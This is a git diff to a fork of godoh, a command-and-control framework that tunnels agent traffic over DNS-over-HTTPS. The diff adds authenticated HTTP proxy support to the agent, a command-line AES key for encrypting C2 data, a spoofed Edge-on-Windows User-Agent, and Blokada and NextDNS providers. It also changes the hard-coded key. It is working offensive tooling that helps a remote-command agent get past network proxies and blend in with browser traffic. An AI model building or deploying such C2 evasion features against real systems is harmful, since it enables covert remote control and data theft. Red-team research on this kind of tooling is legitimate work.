diff --git a/Makefile b/Makefile index 07ea806..0da03de 100644 --- a/Makefile +++ b/Makefile @@ -24,7 +24,7 @@ keywarn: @echo "!!! Not doing this will leave your C2 using the default key!\n" key: - sed -i -E "s/const.*/const cryptKey = \`$(K)\`/g" lib/key.go + sed -i -E "s/var.*/var cryptKey = \`$(K)\`/g" lib/key.go install: go install diff --git a/README.md b/README.md index ed577ff..da3c032 100644 --- a/README.md +++ b/README.md @@ -14,6 +14,14 @@


+## The following updates have been implemented from the latest current version of [godoh](https://github.com/sensepost/godoh) + +* Added support for HTTP basic authentication proxy +* Added support for specifying a custom "AES key" from command line (used to encrypt data blobs in communications) +* Added support for specifying a custom "User-Agent" (default: Edge 44 on Windows 10) from command line +* Added Blokada & NextDNS providers support +* Fix issues with Quad9 provider + ## introduction `godoh` is a proof of concept Command and Control framework, written in Golang, that uses DNS-over-HTTPS as a transport medium. Currently supported providers include Google, Cloudflare but also contains the ability to use traditional DNS. diff --git a/cmd/agent.go b/cmd/agent.go index 51d757c..e8a0219 100644 --- a/cmd/agent.go +++ b/cmd/agent.go @@ -1,15 +1,19 @@ package cmd import ( + "context" "encoding/hex" "fmt" "io/ioutil" + "net" + "net/http" "os" "os/exec" "strings" "time" "github.com/miekg/dns" + "github.com/rs/zerolog/log" "github.com/sensepost/godoh/lib" "github.com/sensepost/godoh/protocol" "github.com/spf13/cobra" @@ -18,6 +22,11 @@ import ( var agentCmdAgentName string var agentCmdAgentPoll int +// Proxy settings +var proxyAddr string +var proxyUsername string +var proxyPassword string + // agentCmd represents the agent command var agentCmd = &cobra.Command{ Use: "agent", @@ -108,10 +117,15 @@ Example: } func init() { - rootCmd.AddCommand(agentCmd) + // setup proxy + cobra.OnInitialize(configureProxy) + rootCmd.AddCommand(agentCmd) agentCmd.Flags().StringVarP(&agentCmdAgentName, "agent-name", "n", "", "Agent name to use. (default: random)") agentCmd.Flags().IntVarP(&agentCmdAgentPoll, "poll-time", "t", 10, "Time in seconds between polls.") + agentCmd.Flags().StringVarP(&proxyAddr, "proxy", "X", "", "Use proxy, i.e hostname:port") + agentCmd.Flags().StringVarP(&proxyUsername, "proxy-username", "U", "", "proxy username to use") + agentCmd.Flags().StringVarP(&proxyPassword, "proxy-password", "P", "", "proxy password to use") } // executeCommand executes an OS command @@ -192,3 +206,39 @@ func downloadFile(fileName string) error { return nil } + +func configureProxy() { + if proxyAddr != "" { + + if proxyUsername == "" || proxyPassword == "" { + log.Error().Msg("proxy username or password were not provided") + os.Exit(1) + } + + dialContext := (&net.Dialer{ + KeepAlive: 30 * time.Second, + Timeout: 30 * time.Second, + }).DialContext + + basicDialContext := func(ctx context.Context, network, address string) (net.Conn, error) { + conn, err := dialContext(ctx, network, proxyAddr) + if err != nil { + return conn, err + } + log.Debug().Str("hostname", proxyAddr).Msg("using proxy") + log.Debug().Msg("attempting to inject Basic authentication") + err = lib.ProxySetup(conn, address, proxyUsername, proxyPassword, options.UserAgent) + if err != nil { + log.Error().Msg("failed to inject Basic authentication") + return conn, err + } + return conn, err + } + + http.DefaultTransport.(*http.Transport).Proxy = nil + http.DefaultTransport.(*http.Transport).DialContext = basicDialContext + + } else { + log.Debug().Msg("proxy address not set") + } +} diff --git a/cmd/root.go b/cmd/root.go index 7f57958..f07cdd9 100644 --- a/cmd/root.go +++ b/cmd/root.go @@ -3,6 +3,7 @@ package cmd import ( "fmt" "math/rand" + "os" "time" @@ -21,7 +22,7 @@ var ( // CompileTimeDomain is the domain set with `make dnsDomain=foo.com` CompileTimeDomain string - // options are CLI options + // Options are CLI options options = lib.NewOptions() ) @@ -40,11 +41,10 @@ var rootCmd = &cobra.Command{ options.SetTLSValidation() // Setup the logger to use - log.Logger = log.Output(zerolog.ConsoleWriter{Out: os.Stderr, TimeFormat: "02 Jan 2006 15:04:05"}) if options.Debug { log.Logger = log.Logger.Level(zerolog.DebugLevel) log.Logger = log.With().Caller().Logger() - log.Debug().Msg("debug logging enabed") + log.Debug().Msg("debug logging enabled") } else { log.Logger = log.Logger.Level(zerolog.InfoLevel) } @@ -54,6 +54,12 @@ var rootCmd = &cobra.Command{ options.Logger = &log.Logger + // configure AES key + if options.AESKey != "" { + log.Debug().Str("key", options.AESKey).Msg("using AES key") + lib.SetAESKey(options.AESKey) + } + // if we have a compile time domain, use that if one is not set via CLI if (options.Domain == "") && (CompileTimeDomain != "") { log.Debug().Str("domain", CompileTimeDomain).Msg("using compile time domain") @@ -61,10 +67,8 @@ var rootCmd = &cobra.Command{ } else { log.Debug().Str("domain", options.Domain).Msg("using flag domain") } - }, Run: func(cmd *cobra.Command, args []string) { - // by default, start in agent mode if len(args) == 0 { agentCmd.Run(cmd, args) @@ -84,6 +88,7 @@ func Execute() { func init() { // logging + log.Logger = log.Output(zerolog.ConsoleWriter{Out: os.Stderr, TimeFormat: "02 Jan 2006 15:04:05"}) rootCmd.PersistentFlags().BoolVar(&options.Debug, "debug", false, "enable debug logging") rootCmd.PersistentFlags().BoolVar(&options.DisableLogging, "disable-logging", false, "disable all logging") @@ -92,6 +97,8 @@ func init() { rootCmd.PersistentFlags().StringVarP(&options.Domain, "domain", "d", "", "DNS Domain to use. (ie: example.com)") } - rootCmd.PersistentFlags().StringVarP(&options.ProviderName, "provider", "p", "google", "Preferred DNS provider to use. [possible: googlefront, google, cloudflare, quad9, raw]") + rootCmd.PersistentFlags().StringVarP(&options.ProviderName, "provider", "p", "google", "Preferred DNS provider to use. [possible: googlefront, google, cloudflare, quad9, blokada, nextdns, raw]") rootCmd.PersistentFlags().BoolVarP(&options.ValidateTLS, "validate-certificate", "K", false, "Validate DoH provider SSL certificates") + rootCmd.PersistentFlags().StringVarP(&options.AESKey, "aeskey", "k", "", "AES key used to encrypt data blobs in communications (ie: openssl rand -hex 16)") + rootCmd.PersistentFlags().StringVarP(&options.UserAgent, "user-agent", "a", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.18362", "Setting a custom User-Agent (default: Edge 44 on Windows 10)") } diff --git a/cmd/test.go b/cmd/test.go index b954150..dcab827 100644 --- a/cmd/test.go +++ b/cmd/test.go @@ -44,11 +44,11 @@ For example: break } - c := dnsclient.NewGoogleDNS() + c := dnsclient.NewGoogleDNS("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102") values := dnsclient.Lookup(c, testCmdName, dnsType) fmt.Printf("Status: %s, Result: %s, TTL: %d\n", values.Status, values.Data, values.TTL) - d := dnsclient.NewCloudFlareDNS() + d := dnsclient.NewCloudFlareDNS("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102") values = dnsclient.Lookup(d, testCmdName, dnsType) fmt.Printf("Status: %s, Result: %s, TTL: %d\n", values.Status, values.Data, values.TTL) diff --git a/dnsclient/blokada.go b/dnsclient/blokada.go new file mode 100644 index 0000000..49bb48f --- /dev/null +++ b/dnsclient/blokada.go @@ -0,0 +1,72 @@ +package dnsclient + +import ( + "encoding/json" + "io/ioutil" + "log" + "net/http" + "strconv" + "time" + + "github.com/miekg/dns" +) + +// Blokada is a Client instance resolving using Blokada DNS-over-HTTPS service +type Blokada struct { + BaseURL string + UserAgent string +} + +// Lookup performs a DNS lookup using Blokada +func (c *Blokada) Lookup(name string, rType uint16) Response { + + client := http.Client{ + Timeout: time.Second * 20, + } + + req, err := http.NewRequest("GET", c.BaseURL, nil) + if err != nil { + log.Fatal(err) + } + + req.Header.Set("User-Agent", c.UserAgent) + req.Header.Add("accept", "application/dns-json") + + q := req.URL.Query() + q.Add("name", name) + q.Add("type", strconv.Itoa(int(rType))) + q.Add("cd", "false") // ignore DNSSEC + q.Add("do", "false") // ignore DNSSEC + req.URL.RawQuery = q.Encode() + // fmt.Println(req.URL.String()) + + res, err := client.Do(req) + if err != nil { + log.Fatal(err) + } + + body, err := ioutil.ReadAll(res.Body) + if err != nil { + log.Fatal(err) + } + + // fmt.Printf("Blokada DNS RESPONSE BODY:\n%s\n", body) + + dnsRequestResponse := requestResponse{} + err = json.Unmarshal(body, &dnsRequestResponse) + if err != nil { + log.Fatal(err) + } + + fout := Response{} + + if len(dnsRequestResponse.Answer) <= 0 { + return fout + } + + fout.TTL = dnsRequestResponse.Answer[0].TTL + fout.Data = dnsRequestResponse.Answer[0].Data + fout.Status = dns.RcodeToString[dnsRequestResponse.Status] + + return fout +} diff --git a/dnsclient/client.go b/dnsclient/client.go index ee9f0e4..1f645b2 100644 --- a/dnsclient/client.go +++ b/dnsclient/client.go @@ -6,25 +6,37 @@ type Client interface { } // NewGoogleDNS starts a new Google DNS-over-HTTPS resolver Client -func NewGoogleDNS() *GoogleDNS { - return &GoogleDNS{BaseURL: "https://dns.google.com/resolve"} +func NewGoogleDNS(useragent string) *GoogleDNS { + return &GoogleDNS{BaseURL: "https://dns.google.com/resolve", UserAgent: useragent} } // NewGoogleFrontDNS starts a new Google DNS-over-HTTPS resolver Client // The Host header for this request is updated in the client itself -func NewGoogleFrontDNS() *GoogleFrontDNS { - return &GoogleFrontDNS{BaseURL: "https://www.google.com/resolve"} +func NewGoogleFrontDNS(useragent string) *GoogleFrontDNS { + return &GoogleFrontDNS{BaseURL: "https://www.google.com/resolve", UserAgent: useragent} } // NewCloudFlareDNS starts a new Cloudflare DNS-over-HTTPS resolver Client -func NewCloudFlareDNS() *CloudflareDNS { - return &CloudflareDNS{BaseURL: "https://cloudflare-dns.com/dns-query"} +func NewCloudFlareDNS(useragent string) *CloudflareDNS { + return &CloudflareDNS{BaseURL: "https://cloudflare-dns.com/dns-query", UserAgent: useragent} } // NewQuad9DNS starts a new Quad9 DNS-over-HTTPS resolver Client -func NewQuad9DNS() *Quad9DNS { +func NewQuad9DNS(useragent string) *Quad9DNS { // Use the unfiltered URL. - return &Quad9DNS{BaseURL: "https://dns10.quad9.net/dns-query"} + return &Quad9DNS{BaseURL: "https://dns10.quad9.net:5053/dns-query", UserAgent: useragent} +} + +// Blokada starts a new Blokada DNS-over-HTTPS resolver Client +func NewBlokadaDNS(useragent string) *Blokada { + // Use the unfiltered URL. + return &Blokada{BaseURL: "https://dns.blokada.org/dns-query", UserAgent: useragent} +} + +// NextDNS starts a new NextDNS DNS-over-HTTPS resolver Client +func NewNextDNS(useragent string) *NextDNS { + // Use the unfiltered URL. + return &NextDNS{BaseURL: "https://dns.nextdns.io/dns-query", UserAgent: useragent} } // NewRawDNS starts a new client making use of traditional DNS diff --git a/dnsclient/cloudflare.go b/dnsclient/cloudflare.go index 8e33100..5adedfc 100644 --- a/dnsclient/cloudflare.go +++ b/dnsclient/cloudflare.go @@ -13,7 +13,8 @@ import ( // CloudflareDNS is a Client instance resolving using Cloudflares DNS-over-HTTPS service type CloudflareDNS struct { - BaseURL string + BaseURL string + UserAgent string } // Lookup performs a DNS lookup using Cloudflare @@ -28,6 +29,7 @@ func (c *CloudflareDNS) Lookup(name string, rType uint16) Response { log.Fatal(err) } + req.Header.Set("User-Agent", c.UserAgent) req.Header.Add("accept", "application/dns-json") q := req.URL.Query() diff --git a/dnsclient/google.go b/dnsclient/google.go index 8360fad..612623e 100644 --- a/dnsclient/google.go +++ b/dnsclient/google.go @@ -13,7 +13,8 @@ import ( // GoogleDNS is a Client instance resolving using Googles DNS-over-HTTPS service type GoogleDNS struct { - BaseURL string + BaseURL string + UserAgent string } // Lookup performs a DNS lookup using Google @@ -28,6 +29,8 @@ func (c *GoogleDNS) Lookup(name string, rType uint16) Response { log.Fatal(err) } + req.Header.Set("User-Agent", c.UserAgent) + q := req.URL.Query() q.Add("name", name) q.Add("type", strconv.Itoa(int(rType))) diff --git a/dnsclient/google_front.go b/dnsclient/google_front.go index a187c7c..8a91ace 100644 --- a/dnsclient/google_front.go +++ b/dnsclient/google_front.go @@ -14,7 +14,8 @@ import ( // GoogleFrontDNS is a Client instance resolving using Googles DNS-over-HTTPS service, // fronted using www.google.com type GoogleFrontDNS struct { - BaseURL string + BaseURL string + UserAgent string } // Lookup performs a DNS lookup using Google @@ -32,6 +33,7 @@ func (c *GoogleFrontDNS) Lookup(name string, rType uint16) Response { // Update the Host client header to dns.google.com // Ref: https://twitter.com/vysecurity/status/1058947074392125440 req.Host = "dns.google.com" + req.Header.Set("User-Agent", c.UserAgent) q := req.URL.Query() q.Add("name", name) diff --git a/dnsclient/nextdns.go b/dnsclient/nextdns.go new file mode 100644 index 0000000..a9b9b7f --- /dev/null +++ b/dnsclient/nextdns.go @@ -0,0 +1,72 @@ +package dnsclient + +import ( + "encoding/json" + "io/ioutil" + "log" + "net/http" + "strconv" + "time" + + "github.com/miekg/dns" +) + +// NextDNS is a Client instance resolving using NextDNS DNS-over-HTTPS service +type NextDNS struct { + BaseURL string + UserAgent string +} + +// Lookup performs a DNS lookup using NextDNS +func (c *NextDNS) Lookup(name string, rType uint16) Response { + + client := http.Client{ + Timeout: time.Second * 20, + } + + req, err := http.NewRequest("GET", c.BaseURL, nil) + if err != nil { + log.Fatal(err) + } + + req.Header.Set("User-Agent", c.UserAgent) + req.Header.Add("accept", "application/dns-json") + + q := req.URL.Query() + q.Add("name", name) + q.Add("type", strconv.Itoa(int(rType))) + q.Add("cd", "false") // ignore DNSSEC + q.Add("do", "false") // ignore DNSSEC + req.URL.RawQuery = q.Encode() + // fmt.Println(req.URL.String()) + + res, err := client.Do(req) + if err != nil { + log.Fatal(err) + } + + body, err := ioutil.ReadAll(res.Body) + if err != nil { + log.Fatal(err) + } + + // fmt.Printf("NextDNS DNS RESPONSE BODY:\n%s\n", body) + + dnsRequestResponse := requestResponse{} + err = json.Unmarshal(body, &dnsRequestResponse) + if err != nil { + log.Fatal(err) + } + + fout := Response{} + + if len(dnsRequestResponse.Answer) <= 0 { + return fout + } + + fout.TTL = dnsRequestResponse.Answer[0].TTL + fout.Data = dnsRequestResponse.Answer[0].Data + fout.Status = dns.RcodeToString[dnsRequestResponse.Status] + + return fout +} diff --git a/dnsclient/quad9.go b/dnsclient/quad9.go index da63b33..a2c7940 100644 --- a/dnsclient/quad9.go +++ b/dnsclient/quad9.go @@ -13,7 +13,8 @@ import ( // Quad9DNS is a Client instance resolving using Quad9's DNS-over-HTTPS service type Quad9DNS struct { - BaseURL string + BaseURL string + UserAgent string } // Lookup performs a DNS lookup using Quad9 @@ -28,6 +29,8 @@ func (c *Quad9DNS) Lookup(name string, rType uint16) Response { log.Fatal(err) } + req.Header.Set("User-Agent", c.UserAgent) + q := req.URL.Query() q.Add("name", name) q.Add("type", strconv.Itoa(int(rType))) diff --git a/dnsserver/server.go b/dnsserver/server.go index bae6f57..435b486 100644 --- a/dnsserver/server.go +++ b/dnsserver/server.go @@ -74,7 +74,6 @@ func (h *Handler) ServeDNS(w dns.ResponseWriter, r *dns.Msg) { // Add this new stream identifier h.StreamSpool[ident] = *DNSBuf log.Info().Str("agent", ident).Msg("new incoming dns stream") - break } @@ -279,6 +278,13 @@ func (h *Handler) parseARRLabels(r *dns.Msg) (string, byte, int, int, []byte, er return "", 0x00, 0, 0, []byte{0x00}, errors.New(protocol.FailureDNSResponse) } + // If the first label or second label is not a valid value + // then the data is not interesting (Quad9 case - multiple DNS queries sent by the provider). + if len(hsq[0]) < 4 || (len(hsq[1]) == 0 || len(hsq[1]) < 2) { + log.Debug().Str("labels", r.Question[0].String()).Msg("question data is not interesting") + return "", 0x00, 0, 0, []byte{0x00}, errors.New(protocol.FailureDNSResponse) + } + // Based on the protocol, we have fields to parse. // See protocol.utils.Requestify for details. diff --git a/lib/key.go b/lib/key.go index 02e5efb..1282c78 100644 --- a/lib/key.go +++ b/lib/key.go @@ -2,4 +2,9 @@ package lib // AES key used to encrypt data blobs in communications // $ openssl rand -hex 16 -const cryptKey = `2589213f0c51583dcbaacbe0005e5908` + +var cryptKey = `aacf6ed6e4b999a6338d5a025350ea5a` + +func SetAESKey(key string) { + cryptKey = key +} diff --git a/lib/options.go b/lib/options.go index 630f8e4..7a36a26 100644 --- a/lib/options.go +++ b/lib/options.go @@ -24,6 +24,12 @@ type Options struct { // TLS config ValidateTLS bool + + // AES Key + AESKey string + + // User-Agent + UserAgent string } // NewOptions returns a new options struct @@ -69,16 +75,22 @@ func (o *Options) GetDNSClient() (dnsclient.Client, error) { case "googlefront": log.Warn().Msg(`WARNING: Domain fronting dns.google.com via www.google.com no longer works. ` + `A redirect to dns.google.com will be returned. See: https://twitter.com/leonjza/status/1187002742553923584`) - o.Provider = dnsclient.NewGoogleFrontDNS() + o.Provider = dnsclient.NewGoogleFrontDNS(o.UserAgent) break case "google": - o.Provider = dnsclient.NewGoogleDNS() + o.Provider = dnsclient.NewGoogleDNS(o.UserAgent) break case "cloudflare": - o.Provider = dnsclient.NewCloudFlareDNS() + o.Provider = dnsclient.NewCloudFlareDNS(o.UserAgent) break case "quad9": - o.Provider = dnsclient.NewQuad9DNS() + o.Provider = dnsclient.NewQuad9DNS(o.UserAgent) + break + case "blokada": + o.Provider = dnsclient.NewBlokadaDNS(o.UserAgent) + break + case "nextdns": + o.Provider = dnsclient.NewNextDNS(o.UserAgent) break case "raw": o.Provider = dnsclient.NewRawDNS() diff --git a/lib/proxy.go b/lib/proxy.go new file mode 100644 index 0000000..ad22930 --- /dev/null +++ b/lib/proxy.go @@ -0,0 +1,39 @@ +package lib + +import ( + "bufio" + "encoding/base64" + "errors" + "net" + "net/http" + "net/url" + "strings" +) + +func ProxySetup(conn net.Conn, targetAddr string, username string, password string, useragent string) error { + + hdr := make(http.Header) + basicAuth := base64.StdEncoding.EncodeToString([]byte(username + ":" + password)) + hdr.Set("User-Agent", useragent) + hdr.Set("Proxy-Authorization", "Basic "+basicAuth) + connectReq := &http.Request{ + Method: "CONNECT", + URL: &url.URL{Opaque: targetAddr}, + Host: targetAddr, + Header: hdr, + } + connectReq.Write(conn) + + // Read response. + br := bufio.NewReader(conn) + resp, err := http.ReadResponse(br, connectReq) + if err != nil { + return err + } + if resp.StatusCode != 200 { + f := strings.SplitN(resp.Status, " ", 2) + return errors.New(f[1]) + } + + return nil +} diff --git a/protocol/utils.go b/protocol/utils.go index eaaf09d..d20c791 100644 --- a/protocol/utils.go +++ b/protocol/utils.go @@ -60,7 +60,6 @@ func Requestify(data []byte, protocol int) []string { for _, s := range lib.ByteSplit(data, 90) { labelSplit := lib.ByteSplit(s, 30) - // Having the data split into 3 labels, prepare the data label // that will be used in the request. var dataLabel string